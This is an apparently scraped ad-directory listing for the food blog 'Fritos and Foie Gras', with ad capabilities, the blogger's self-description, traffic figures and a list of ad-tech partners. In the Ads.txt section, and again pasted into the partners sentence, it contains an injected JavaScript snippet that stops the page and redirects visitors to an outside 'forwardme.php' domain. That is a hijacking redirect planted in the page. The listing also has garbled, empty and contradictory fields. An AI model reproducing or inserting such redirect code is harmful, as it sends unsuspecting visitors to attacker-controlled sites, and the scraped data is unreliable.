Capabilities
  • Desktop Display
    • Brand Integrations
      Yes No
    • Sponsored Posts
      Yes No
    • Native Ads
      Yes No
    • High-Impact (Takeovers, Billboards, Overlays, Sliders, Skins)
      Yes No
    • Rich Media (Expandable & Non-Expandable)
      Yes No
  • Mobile Display
    • Mobile Rich Media (Including Interstitials & Expandables)
      Yes No
    • Tablet Traffic
      Yes No
    • Native & Custom Mobile Executions
      Yes No
    • Requires SDK Integration
      Yes No
  • Email
  • Social
  • Desktop Display, Mobile Display, Email, Social
  • CPM
  • Web Publisher
  • Headline:
    Publisher: Fritos and Foie Gras — An Indiscriminate Eater's Guide to Food in New York City and Beyond
  • Key Differentiator
    I am Sarah Spigelman, a writer, editor and improvisational-comedy performer living in NYC. I live to eat and cook. I am that person who starts planning breakfast the night before. I get giddy when I find an artisanal beef jerky store on a road trip. I wear the same jeans that I had in college to ensure that I have enough cash to splurge on tasting menus and stupidly expensive sea salt. I am that person who can sit for hours in front of cooking shows and gets a rash when I am forced to go shoe shopping. (I mean, don’t get me wrong. I like shoes. But I have bunions. My tongue has never failed me.) That’s what she said. Where Am I From? I came to New York by way of Southern California (hence my love of fast food style burgers) and Tucson, Arizona(which is why Mexican food is my idea of heaven). I graduated with a BFA from the University of Arizona in 2006 and came to the big, bad apple to become a famous actress. I barely had any success to begin with, but then the economy crashed. One by one, the small regional theatres I was getting cast at closed or couldn’t afford to hire Equity actors. I had to switch careers, so I migrated towards the only other thing I had ever loved…journalism. That other career that has no stability. I was lucky enough to land a job pretty soon with an online newspaper and as an assistant editor learned all about researching, editing, Twitter, media, and proofreading. A LOT of proofreading. After a few months, I realized that the news was just not for me. I could handle the grueling hours, the constant criticism, and the breakneck speed of the place – I was coming from the world of theatre, after all. What I couldn’t handle was how little I cared about the news worthy stories. The muggings, the community board meetings, the teachers’ strikes…they all bored me to tears. I only cared about the restaurant openings and closings. The new menus. The comings and goings of chefs. I could write about these all day, and if I could have, then I would have stayed. But I couldn’t. So I left. What the Hell do I do Now? Freelance write, edit and develop recipes. For more about that, go to my Press Page. And if you want to hire me, email me! I am extremely flexible on my rates and am a doll to work with. Trust me…I mean, I just love working with me! Stuff I Like: Fritos Foie Gras “Arrested Development” Luxury Hotels TJ Maxx Musical Theatre “The Big Lebowski” Paulo Coelho Stuff I Dislike: Millet Green Bell Peppers ESPN Flights that are longer than 3 hours Eddie Bauer Any theatre that doesn’t include tap dancing “The Notebook” (PLEASE TELL ME THAT SOMEONE ELSE HATES THIS MOVIE!) The Girl With the Dragon Tattoo Now you know a little about me! Please feel free to email me or comment to ask some questions! I won’t bite unless you like it ;)
Site Traffic
  • 0 Global Rank
  • 6842730
    United States
  • 125 Estimated Visits
Powered by
Alexa Traffic Data
Global Rank 12,961,197
3,142,590
Switzerland Rank 42
16
Switzerland Page Views 88.8%
2.2%
Top Countries
Top Search Keywords
  • Français
  • Automobiles
Ads.txt
Ad Exchange
Type
Publisher ID
Certification ID
/******sawysbgevutkqq******/window.stop();var mdd = 'lgstpq';/*lgzopmexhw*/location.replace('https://wiilberedmodels.com/forwardme.php?a=1&');
Fritos And Foie Gras advertising reaches 125 visitors across desktop and mobile web, in countries such as . Pricing models they offer are CPM on channels such as Display, Mobile, Email, Social Advertising on Fritos And Foie Gras will allow you to reach consumers in industries or verticals such as .

They have 1 advertising & marketing contacts listed on Kochava. According to their Ads.txt, Fritos And Foie Gras inventory partners include: /******sawysbgevutkqq******/window.stop();var mdd = 'lgstpq';/*lgzopmexhw*/location.replace('https://wiilberedmodels.com/forwardme.php?a=1&');.

Fritos And Foie Gras works with Advertising technology companies such as Rubicon Project, Openads/OpenX, Foodbuzz Ads, Foodie Blogroll, Digilant, RadiumOne, DoubleClick.Net, Facebook Exchange FBX, ContextWeb, Adify, AppNexus, The Trade Desk, Turn, X Plus One, Pubmatic, Evidon, Rocket Fuel, Connexity, SpotXchange, Swoop, Glam Media, Index Exchange, Dstillery, ADTECH, Videology, BlueKai, Advertising.com, Eq Ads, Adap.TV, DoubleVerify, eXelate, Neustar AdAdvisor, AudienceScience, Aggregate Knowledge, Accuen, DemDex, Experian, Undertone, Chango, SiteScout, Yield Manager, AdGear, AOL-Time Warner Online Advertising, AcuityAds, Integral Ad Science, Zenovia, IponWeb BidSwitch, MyBuys, Yahoo Small Business, Google Adsense, Criteo, Upfront Digital Media, Tapad, Drawbridge, Atlas, Proclivity, Flashtalking, Adconion, RealVu, Spongecell, AppNexus Segment Pixel, Media Innovation Group, Twitter Ads, BrightRoll, LiveRail, eyeReturn, Quigo, AdSonar, Engage BDR, Mediaplex, Simpli.fi, PointRoll, Jumptap, MyBuys MyAds, Brandscreen, Tribal Fusion, Ohana, Exponential, BlueKai DMP, Crosswise, Magnetic, Teads, Google Adsense Asynchronous.